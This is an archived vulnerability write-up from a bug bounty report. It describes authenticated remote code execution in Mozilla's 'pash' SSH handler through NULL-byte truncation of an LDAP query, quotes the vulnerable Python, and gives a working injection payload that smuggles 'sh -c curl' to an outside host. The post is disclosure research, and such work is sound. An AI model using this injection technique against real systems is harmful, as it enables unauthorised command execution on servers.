

RCE via LDAP truncation on hg.mozilla.org

RCE via LDAP truncation on hg.mozilla.org - Author not stated, 0day.click.

- Published: 2023-06-03
- Original: <<https://0day.click/recipe/pash/>>
- Preserved from: <https://0day.click/recipe/pash/> (live) on 2026-08-06
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

RCE via LDAP truncation on hg.mozilla.org

2023-06-03

Given my interest in SCM and CI systems I was a little keen to see how this is done at Mozilla as part of their [bug bounty program](#). Thanks to [freddy](#) I was granted [Level 1 access](#) to Mozilla's SCM at `hg.mozilla.org` in late 2022. As Mozilla is a pretty transparent company I found the [version-control-tools](#) repository which contains the code and configuration behind `hg.mozilla.org`.

I spent a couple of hours to a very few days looking at this code, setting up a simplified test system, and popping shells on the infrastructure around Christmas 2022. In this post I'll outline one of two authenticated RCE flaws I identified and reported to Mozilla on the 26th of December in 2022.

My main focus was on `pash` which is used in place of the shell when handling `hg` operations via SSH on `hg.mozilla.org`.

LDAP query truncation[#]()

`pash` [offered to clone from user's private repositories](#) in the `make_repo_clone` method. The `source_user` is completely user controlled and read from `input` via SSH:

```

source_user = input(
    'Please enter the e-mail address of the user owning the repo: '
)
valid_user = is_valid_user(source_user)
if valid_user == True:
    source_user = source_user.replace('@', '_')
elif valid_user == False:
    sys.stderr.write('Unknown user.\n')
    sys.exit(1)
elif valid_user == 'Invalid Email Address':
    sys.stderr.write('Invalid Email Address.\n')
    sys.exit(1)
source_user_path = run_command('find ' + DOC_ROOT + '/users/' + source_user + ' -maxdepth 1')
if not source_user_path:
    print('That user does not have any private repositories.')
    print('Check https://' + cname + '/users for a list of valid users.')
    sys.exit(1)
else:
    user_repo_list = run_command('find ' + DOC_ROOT + '/users/' + source_user + ' -maxdepth 1')
    user_repo_list = map(lambda x: x.replace(DOC_ROOT + '/users/' + source_user, ''), user_repo_list)
    user_repo_list = map(lambda x: x.replace('/.hg', ''), user_repo_list)
    user_repo_list = map(lambda x: x.strip('/'), user_repo_list)
    user_repo_list = sorted(user_repo_list)
    print('Select the users repo you wish to clone.')
    source_repo = prompt_user('Pick a source repo:', user_repo_list, period=False)
    source_repo = 'users/' + source_user + '/' + source_repo

```

The call to `is_valid_user` calls `get_ldap_attribute` from `ldap_helper.py`

Here we had a potential LDAP injection via the mail parameter:

```
result = ldap_conn.search_s('dc=mozilla', ldap.SCOPE_SUBTREE, '(mail=' + mail + ')', [attr])
```

However the following characters are stripped in the calling function `is_valid_user`

```

mail = mail.strip()
replacements = {
    '(': ' ',
    ')': ' ',
    '"': ' ',
    "'": ' ',
    ';': ' ',
}
for search, replace in replacements.items():
    mail = mail.replace(search, replace)

```

So a direct LDAP injection seemed not possible.

It took me a moment, but it was possible to inject NULL bytes into the LDAP queries and gain RCE like so:

```

echo "1\n2\njoernchen@*\00|sh -c 'curl https://my-host' " |ssh -i ~/.ssh/id_ecdsa_moz -l 'joernche

```

The payload works as follows: `1\n2\n` will select the proper arguments to the `clone testhg` command to end up in the clone private repository path. Then `joernchen@*\00` will be the part of the LDAP filter which will find my account, it's enabled for access to `hg.mozilla.com` so the `is_valid_user` will return 1. The last part `|sh -c 'curl https://my-host'` of the payload is the actual injected command it will be dropped in the LDAP search due to the injected NULL character. This works because `sh_helper.py` which is used to execute the find commands looks for `|` to open subprocesses.

The injected and encoded NULL byte `\00` was interpreted and converted to an actual NULL byte by Python's LDAP library before making the query. So the command injection part could be sneaked past the `is_valid_user` checks.

This was filed as [issue 1807621](#) in the Mozilla bugtracker, it might be published eventually.